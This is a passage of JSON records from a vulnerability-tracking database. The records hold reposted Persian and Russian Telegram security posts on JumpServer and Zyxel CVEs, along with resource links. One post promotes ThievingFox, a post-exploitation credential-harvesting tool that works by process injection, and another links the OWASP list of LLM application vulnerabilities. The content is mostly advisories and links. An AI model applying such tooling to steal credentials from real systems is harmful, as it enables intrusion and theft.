\u067e\u0631\u0648\u0633\u0633 \u0647\u062f\u0641 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u062f\u060c \u0648 \u0633\u067e\u0633 \u062a\u0648\u0627\u0628\u0639 \u062f\u0627\u062e\u0644\u06cc \u0631\u0627 \u0628\u0631\u0627\u06cc \u062c\u0645\u0639 \u0622\u0648\u0631\u06cc \u0627\u0639\u062a\u0628\u0627\u0631\u0627\u062a \u0647\u0648\u06a9 \u0645\u06cc \u06a9\u0646\u062f.\n\n https://github.com/Slowerzs/ThievingFox/\n\n\u062a\u06cc\u0645\u00a0 \u0633\u0648\u0631\u06cc\u0646\n#tools\n\nWindows Terminal Tips, Tricks, and Productivity Hacks \n\n#windows\n\u062a\u06cc\u0645\u00a0 \u0633\u0648\u0631\u06cc\u0646\n\nAdvanced Linux Detection and Forensics Cheatsheet\nby Defensive Security v0.1 [17/05/2024]\nhttps://www.linkedin.com/posts/soorinsec_advanced-linux-detection-and-forensics-cheatsheet-activity-7225407231867932672-isaN?utm_source=share&utm_medium=member_desktop\n\n#linux #forensics\n\u062a\u06cc\u0645\u00a0 \u0633\u0648\u0631\u06cc\u0646\n\nFree Malware Analysis Course, covers malware concepts, malware analysis, and black-box reverse engineering techniques\u00a0 \n\n\u062f\u0648\u0631\u0647 \u0631\u0627\u06cc\u06af\u0627\u0646 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u060c \u0645\u0641\u0627\u0647\u06cc\u0645 \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u060c \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0648 \u062a\u06a9\u0646\u06cc\u06a9 \u0647\u0627\u06cc \u0645\u0647\u0646\u062f\u0633\u06cc \u0645\u0639\u06a9\u0648\u0633 \u062c\u0639\u0628\u0647 \u0633\u06cc\u0627\u0647 \u0631\u0627 \u067e\u0648\u0634\u0634 \u0645\u06cc \u062f\u0647\u062f.\n\nhttp://class.malware.re \n\n#cybersecurity #Malware\n\u062a\u06cc\u0645\u00a0 \u0633\u0648\u0631\u06cc\u0646\n\n#blackhat #bash\n\u062a\u06cc\u0645\u00a0 \u0633\u0648\u0631\u06cc\u0646\n\n\ud835\udde2\ud835\uddea\ud835\uddd4\ud835\udde6\ud835\udde3 \ud835\udde7\ud835\udde2\ud835\udde3 \ud835\udfed\ud835\udfec - \ud835\udde9\ud835\ude02\ud835\uddf9\ud835\uddfb\ud835\uddf2\ud835\uddff\ud835\uddee\ud835\uddef\ud835\uddf9\ud835\uddf2 \ud835\udddf\ud835\udddf\ud835\udde0 \ud835\uddd4\ud835\uddfd\ud835\uddfd\ud835\uddf9\ud835\uddf6\ud835\uddf0\ud835\uddee\ud835\ude01\ud835\uddf6\ud835\uddfc\ud835\uddfb\ud835\ude00\n\nThe OWASP Top 10 for LLMs is a list of the most critical vulnerabilities found in applications utilizing LLMs. It was created to provide developers, data scientists, and security experts with practical, actionable, and concise security guidance to navigate the complex and evolving terrain of LLM security.\n\nLink \ud83d\udd17:-\nhttps://github.com/OWASP/www-project-top-10-for-large-language-model-applications/wiki/Vulnerable-LLM-Applications\n\n\u062a\u06cc\u0645\u00a0 \u0633\u0648\u0631\u06cc\u0646\n\n#web3 #prompt #owasp\n\n DNS records: a comprehensive guide to better understanding and use\n\n\u0631\u06a9\u0648\u0631\u062f\u0647\u0627\u06cc DNS:\u00a0 \u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u062c\u0627\u0645\u0639 \u0628\u0631\u0627\u06cc \u062f\u0631\u06a9 \u0648 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0628\u0647\u062a\u0631\n\n[\u0644\u06cc\u0646\u06a9\u062f\u06cc\u0646 \u0633\u0648\u0631\u06cc\u0646 \n\n#DNS #DNS_Record \n\u062a\u06cc\u0645\u00a0 \u0633\u0648\u0631\u06cc\u0646\n\n \u0647\u0634\u062f\u0627\u0631 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062c\u062f\u06cc \u0628\u0631\u0627\u06cc \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 JumpServer \n\n\u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0628\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632 10 (CVE-2024-40628 \u0648 CVE-2024-40629) \u062f\u0631 JumpServer\u060c \u06cc\u06a9 \u0631\u0627\u0647\u06a9\u0627\u0631 PAM \u0645\u062a\u0646\u200c\u0628\u0627\u0632 \u0645\u062d\u0628\u0648\u0628\u060c \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u0646\u062f \u062a\u0627 \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u0634\u0645\u0627 \u0646\u0641\u0648\u0630 \u06a9\u0631\u062f\u0647 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u0622\u0646\u200c\u0647\u0627 \u0631\u0627 \u062f\u0631 \u062f\u0633\u062a \u0628\u06af\u06cc\u0631\u0646\u062f.\n\n\u0686\u0631\u0627 \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639 \u0645\u0647\u0645 \u0627\u0633\u062a\u061f\n\n\u0627\u0628\u0632\u0627\u0631 JumpServer\u00a0\u00a0 \u062f\u0631 \u0627\u06cc\u0631\u0627\u0646 \u0628\u0633\u06cc\u0627\u0631 \u0645\u062d\u0628\u0648\u0628 \u0627\u0633\u062a: \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0633\u0627\u0632\u0645\u0627\u0646\u200c\u0647\u0627 \u062f\u0631 \u0627\u06cc\u0631\u0627\u0646 \u0627\u0632 JumpServer \u0628\u0631\u0627\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u062e\u0648\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 PAM\u0647\u0627\u06cc \u0628\u0648\u0645\u06cc \u0628\u0631 \u067e\u0627\u06cc\u0647 JumpServer \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647\u200c\u0627\u0646\u062f: \u0627\u06cc\u0646 \u0628\u062f\u0627\u0646 \u0645\u0639\u0646\u0627\u0633\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u062f\u0631 \u0633\u0627\u06cc\u0631 \u0631\u0627\u0647\u06a9\u0627\u0631\u0647\u0627\u06cc PAM \u0628\u0648\u0645\u06cc \u0646\u06cc\u0632 \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f.\n\n\u0627\u0642\u062f\u0627\u0645\u0627\u062a \u0636\u0631\u0648\u0631\u06cc:\n\n\u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0641\u0648\u0631\u06cc JumpServer: \u0622\u062e\u0631\u06cc\u0646 \u0646\u0633\u062e\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc JumpServer \u0631\u0627 \u062f\u0627\u0646\u0644\u0648\u062f \u0648 \u0646\u0635\u0628 \u06a9\u0646\u06cc\u062f.\n\u0628\u0631\u0631\u0633\u06cc PAM\u0647\u0627\u06cc \u0628\u0648\u0645\u06cc: \u0627\u06af\u0631 \u0627\u0632 PAM\u0647\u0627\u06cc \u0628\u0648\u0645\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u062f\u060c \u0628\u0627 \u062a\u0648\u0633\u0639\u0647\u200c\u062f\u0647\u0646\u062f\u06af\u0627\u0646 \u0622\u0646\u200c\u0647\u0627 \u062a\u0645\u0627\u0633 \u0628\u06af\u06cc\u0631\u06cc\u062f \u062a\u0627 \u0627\u0632 \u0631\u0641\u0639 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062d\u0627\u0635\u0644 \u06a9\u0646\u06cc\u062f.\n\n\nCVE-2024-40628: https://nvd.nist.gov/vuln/detail/CVE-2024-40628\nCVE-2024-40629: https://nvd.nist.gov/vuln/detail/CVE-2024-40629\n\n#cve #pam #JumpServer \n\u062a\u06cc\u0645\u00a0 \u0633\u0648\u0631\u06cc\u0646", "creation_timestamp": "2024-08-04T18:47:46.000000Z"}, {"uuid": "bbb4dadb-0400-4c44-a68c-f0e920d1bfcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40629", "type": "seen", "source": "https://t.me/referencebooks0/330", "content": "Hypersec:\nThievingFox\n\n\u0627\u0628\u0632\u0627\u0631 ThievingFox \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u0627\u06cc \u0627\u0632 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc post-exploitation\u00a0 \u0628\u0631\u0627\u06cc \u062c\u0645\u0639\u200c\u0622\u0648\u0631\u06cc \u0627\u0639\u062a\u0628\u0627\u0631 \u0627\u0632 password managers \u0645\u062e\u062a\u0644\u0641 \u0648 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u0627\u0633\u062a. \u0647\u0631 \u0645\u0627\u0698\u0648\u0644 \u0627\u0632 \u0645\u062a\u062f \u062e\u0627\u0635\u06cc \u0628\u0631\u0627\u06cc \u062a\u0632\u0631\u06cc\u0642 \u0628\u0647 \u067e\u0631\u0648\u0633\u0633 \u0647\u062f\u0641 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u062f\u060c \u0648 \u0633\u067e\u0633 \u062a\u0648\u0627\u0628\u0639 \u062f\u0627\u062e\u0644\u06cc \u0631\u0627 \u0628\u0631\u0627\u06cc \u062c\u0645\u0639 \u0622\u0648\u0631\u06cc \u0627\u0639\u062a\u0628\u0627\u0631\u0627\u062a \u0647\u0648\u06a9 \u0645\u06cc \u06a9\u0646\u062f.\n\n https://github.com/Slowerzs/ThievingFox/\n\n\u062a\u06cc\u0645\u00a0 \u0633\u0648\u0631\u06cc\u0646\n#tools\n\nWindows Terminal Tips, Tricks, and Productivity Hacks \n\n#windows\n\u062a\u06cc\u0645\u00a0 \u0633\u0648\u0631\u06cc\u0646\n\nAdvanced Linux Detection and Forensics Cheatsheet\nby Defensive Security v0.1 [17/05/2024]\nhttps://www.linkedin.com/posts/soorinsec_advanced-linux-detection-and-forensics-cheatsheet-activity-7225407231867932672-isaN?utm_source=share&utm_medium=member_desktop\n\n#linux #forensics\n\u062a\u06cc\u0645\u00a0 \u0633\u0648\u0631\u06cc\u0646\n\nFree Malware Analysis Course, covers malware concepts, malware analysis, and black-box reverse engineering techniques\u00a0 \n\n\u062f\u0648\u0631\u0647 \u0631\u0627\u06cc\u06af\u0627\u0646 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u060c \u0645\u0641\u0627\u0647\u06cc\u0645 \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u060c \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0648 \u062a\u06a9\u0646\u06cc\u06a9 \u0647\u0627\u06cc \u0645\u0647\u0646\u062f\u0633\u06cc \u0645\u0639\u06a9\u0648\u0633 \u062c\u0639\u0628\u0647 \u0633\u06cc\u0627\u0647 \u0631\u0627 \u067e\u0648\u0634\u0634 \u0645\u06cc \u062f\u0647\u062f.\n\nhttp://class.malware.re \n\n#cybersecurity #Malware\n\u062a\u06cc\u0645\u00a0 \u0633\u0648\u0631\u06cc\u0646\n\n#blackhat #bash\n\u062a\u06cc\u0645\u00a0 \u0633\u0648\u0631\u06cc\u0646\n\n\ud835\udde2\ud835\uddea\ud835\uddd4\ud835\udde6\ud835\udde3 \ud835\udde7\ud835\udde2\ud835\udde3 \ud835\udfed\ud835\udfec - \ud835\udde9\ud835\ude02\ud835\uddf9\ud835\uddfb\ud835\uddf2\ud835\uddff\ud835\uddee\ud835\uddef\ud835\uddf9\ud835\uddf2 \ud835\udddf\ud835\udddf\ud835\udde0 \ud835\uddd4\ud835\uddfd\ud835\uddfd\ud835\uddf9\ud835\uddf6\ud835\uddf0\ud835\uddee\ud835\ude01\ud835\uddf6\ud835\uddfc\ud835\uddfb\ud835\ude00\n\nThe OWASP Top 10 for LLMs is a list of the most critical vulnerabilities found in applications utilizing LLMs. It was created to provide developers, data scientists, and security experts with practical, actionable, and concise security guidance to navigate the complex and evolving terrain of LLM security.\n\nLink \ud83d\udd17:-\nhttps://github.com/OWASP/www-project-top-10-for-large-language-model-applications/wiki/Vulnerable-LLM-Applications\n\n\u062a\u06cc\u0645\u00a0 \u0633\u0648\u0631\u06cc\u0646\n\n#web3 #prompt #owasp\n\n DNS records: a comprehensive guide to better understanding and use\n\n\u0631\u06a9\u0648\u0631\u062f\u0647\u0627\u06cc DNS:\u00a0 \u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u062c\u0627\u0645\u0639 \u0628\u0631\u0627\u06cc \u062f\u0631\u06a9 \u0648 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0628\u0647\u062a\u0631\n\n[\u0644\u06cc\u0646\u06a9\u062f\u06cc\u0646 \u0633\u0648\u0631\u06cc\u0646 \n\n#DNS #DNS_Record \n\u062a\u06cc\u0645\u00a0 \u0633\u0648\u0631\u06cc\u0646\n\n \u0647\u0634\u062f\u0627\u0631 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062c\u062f\u06cc \u0628\u0631\u0627\u06cc \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 JumpServer \n\n\u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0628\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632 10 (CVE-2024-40628 \u0648 CVE-2024-40629) \u062f\u0631 JumpServer\u060c \u06cc\u06a9 \u0631\u0627\u0647\u06a9\u0627\u0631 PAM \u0645\u062a\u0646\u200c\u0628\u0627\u0632 \u0645\u062d\u0628\u0648\u0628\u060c \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u0646\u062f \u062a\u0627 \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u0634\u0645\u0627 \u0646\u0641\u0648\u0630 \u06a9\u0631\u062f\u0647 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u0622\u0646\u200c\u0647\u0627 \u0631\u0627 \u062f\u0631 \u062f\u0633\u062a \u0628\u06af\u06cc\u0631\u0646\u062f.\n\n\u0686\u0631\u0627 \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639 \u0645\u0647\u0645 \u0627\u0633\u062a\u061f\n\n\u0627\u0628\u0632\u0627\u0631 JumpServer\u00a0\u00a0 \u062f\u0631 \u0627\u06cc\u0631\u0627\u0646 \u0628\u0633\u06cc\u0627\u0631 \u0645\u062d\u0628\u0648\u0628 \u0627\u0633\u062a: \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0633\u0627\u0632\u0645\u0627\u0646\u200c\u0647\u0627 \u062f\u0631 \u0627\u06cc\u0631\u0627\u0646 \u0627\u0632 JumpServer \u0628\u0631\u0627\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u062e\u0648\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 PAM\u0647\u0627\u06cc \u0628\u0648\u0645\u06cc \u0628\u0631 \u067e\u0627\u06cc\u0647 JumpServer \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647\u200c\u0627\u0646\u062f: \u0627\u06cc\u0646 \u0628\u062f\u0627\u0646 \u0645\u0639\u0646\u0627\u0633\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u062f\u0631 \u0633\u0627\u06cc\u0631 \u0631\u0627\u0647\u06a9\u0627\u0631\u0647\u0627\u06cc PAM \u0628\u0648\u0645\u06cc \u0646\u06cc\u0632 \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f.\n\n\u0627\u0642\u062f\u0627\u0645\u0627\u062a \u0636\u0631\u0648\u0631\u06cc:\n\n\u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0641\u0648\u0631\u06cc JumpServer: \u0622\u062e\u0631\u06cc\u0646 \u0646\u0633\u062e\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc JumpServer \u0631\u0627 \u062f\u0627\u0646\u0644\u0648\u062f \u0648 \u0646\u0635\u0628 \u06a9\u0646\u06cc\u062f.\n\u0628\u0631\u0631\u0633\u06cc PAM\u0647\u0627\u06cc \u0628\u0648\u0645\u06cc: \u0627\u06af\u0631 \u0627\u0632 PAM\u0647\u0627\u06cc \u0628\u0648\u0645\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u062f\u060c \u0628\u0627 \u062a\u0648\u0633\u0639\u0647\u200c\u062f\u0647\u0646\u062f\u06af\u0627\u0646 \u0622\u0646\u200c\u0647\u0627 \u062a\u0645\u0627\u0633 \u0628\u06af\u06cc\u0631\u06cc\u062f \u062a\u0627 \u0627\u0632 \u0631\u0641\u0639 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062d\u0627\u0635\u0644 \u06a9\u0646\u06cc\u062f.\n\n\nCVE-2024-40628: https://nvd.nist.gov/vuln/detail/CVE-2024-40628\nCVE-2024-40629: https://nvd.nist.gov/vuln/detail/CVE-2024-40629\n\n#cve #pam #JumpServer \n\u062a\u06cc\u0645\u00a0 \u0633\u0648\u0631\u06cc\u0646", "creation_timestamp": "2024-08-04T18:47:46.000000Z"}, {"uuid": "daace590-c4d2-464a-b961-5327da01e90b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://t.me/cisoclub/4046", "content": "\ud83d\udd25 Zyxel \u043d\u0430\u043c\u0435\u043a\u0430\u0435\u0442: \u043f\u043e\u0440\u0430 \u043c\u0435\u043d\u044f\u0442\u044c \u0440\u043e\u0443\u0442\u0435\u0440\u044b, \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u043e\u0437\u0434\u043d\u043e! \ud83d\ude80\n\n\u041d\u0443 \u0447\u0442\u043e, \u0434\u0440\u0443\u0437\u044c\u044f, \u0435\u0441\u043b\u0438 \u0432\u0430\u0448 \u0441\u0442\u0430\u0440\u044b\u0439 Zyxel \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442, \u0435\u0441\u0442\u044c \u043f\u043e\u0432\u043e\u0434 \u0437\u0430\u0434\u0443\u043c\u0430\u0442\u044c\u0441\u044f: \u043d\u0435 \u043f\u043e\u0440\u0430 \u043b\u0438 \u0435\u0433\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043d\u0430 \u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u043e\u0442\u0434\u044b\u0445? \n\n\ud83e\uddd0 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0446\u0435\u043b\u0430\u044f \u043b\u0438\u043d\u0435\u0439\u043a\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432 CPE \u0443\u0436\u0435 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u2014 \u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0441\u0442\u0430\u043d\u0443\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u043d\u0430\u0432\u0441\u0435\u0433\u0434\u0430.\n\n\u0427\u0442\u043e \u0441\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c?\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b VulnCheck \u0435\u0449\u0451 \u0432 \u0438\u044e\u043b\u0435 2024-\u0433\u043e \u043d\u0430\u0448\u043b\u0438 \u0432 \u044d\u0442\u0438\u0445 \u0440\u043e\u0443\u0442\u0435\u0440\u0430\u0445 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0435 \u0431\u0440\u0435\u0448\u0438, \u043d\u043e \u043f\u043e-\u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0436\u0430\u0440\u043a\u043e \u0441\u0442\u0430\u043b\u043e \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435, \u043a\u043e\u0433\u0434\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 GreyNoise \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0445\u0430\u043a\u0435\u0440\u043e\u0432. \u041f\u0440\u0438\u0447\u0451\u043c \u043d\u0430 \u0432\u043e\u043b\u043d\u0435 \u0440\u0438\u0441\u043a\u0430 \u2014 \u043d\u0435 \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0442\u043d\u044b\u0435 \"\u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u0442\u0430\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\", \u0430 \u0431\u043e\u043b\u0435\u0435 1,5 \u0442\u044b\u0441\u044f\u0447 \u0436\u0438\u0432\u044b\u0445 \u0440\u043e\u0443\u0442\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a \u0441\u0435\u0442\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0441\u0432\u043e\u0438 CVE-\u0448\u043d\u0438\u043a\u0438: CVE-2024-40891 \u0438 CVE-2025-0890, \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043d\u0435\u0445\u043e\u0440\u043e\u0448\u0438\u043c \u043b\u044e\u0434\u044f\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435. \u042d\u0442\u043e \u043a\u0430\u043a \u0435\u0441\u043b\u0438 \u0431\u044b \u0443 \u0432\u0430\u0441 \u0432 \u043a\u0432\u0430\u0440\u0442\u0438\u0440\u0435 \u0434\u0432\u0435\u0440\u044c \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u043b\u0430\u0441\u044c, \u0430 \u043a\u043b\u044e\u0447\u0438 \u0440\u0430\u0437\u0434\u0430\u0432\u0430\u043b\u0438 \u0432\u0441\u0435\u043c \u0436\u0435\u043b\u0430\u044e\u0449\u0438\u043c.\n\nZyxel \u0433\u043e\u0432\u043e\u0440\u0438\u0442: \"\u041f\u0440\u043e\u0441\u0442\u043e \u043a\u0443\u043f\u0438\u0442\u0435 \u043d\u043e\u0432\u044b\u0435!\"\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u043d\u043e \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0430\u0442\u0447\u0435\u0439 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043d\u0435 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442. \u041f\u043e\u0447\u0435\u043c\u0443? \u0412\u0441\u0451 \u043f\u0440\u043e\u0441\u0442\u043e \u2014 \u043c\u043e\u0434\u0435\u043b\u0438 \u0443\u0441\u0442\u0430\u0440\u0435\u043b\u0438 \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f. \u0412\u043e\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043f\u0430\u043b\u0438 \u043f\u043e\u0434 \u044d\u0442\u043e\u0442 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u0437\u0430\u043a\u0430\u0442: VMG1312-B10A, VMG1312-B10B, VMG1312-B10E, VMG3312-B10A, VMG3313-B10A, VMG3926-B10B, VMG4325-B10A, VMG4380-B10A, VMG8324-B10A, VMG8924-B10A, SBG3300 \u0438 SBG3500.\n\n\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0447\u0442\u043e-\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043f\u0438\u0441\u043a\u0430 \u2014 \u0432\u0440\u0435\u043c\u044f \u0434\u0435\u043b\u0430\u0442\u044c \u0430\u043f\u0433\u0440\u0435\u0439\u0434.\n\n\u041d\u043e \u0435\u0441\u0442\u044c \u043d\u044e\u0430\u043d\u0441\u2026\n\n\u0421\u0430\u043c\u044b\u0439 \u043f\u0438\u043a\u0430\u043d\u0442\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442: Zyxel \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0441 \u0438\u044e\u043b\u044f \u043f\u044b\u0442\u0430\u043b\u0430\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0442 VulnCheck \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445, \u043d\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u0440\u0435\u0448\u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c \u043e\u0442\u0447\u0451\u0442, \u043d\u0435 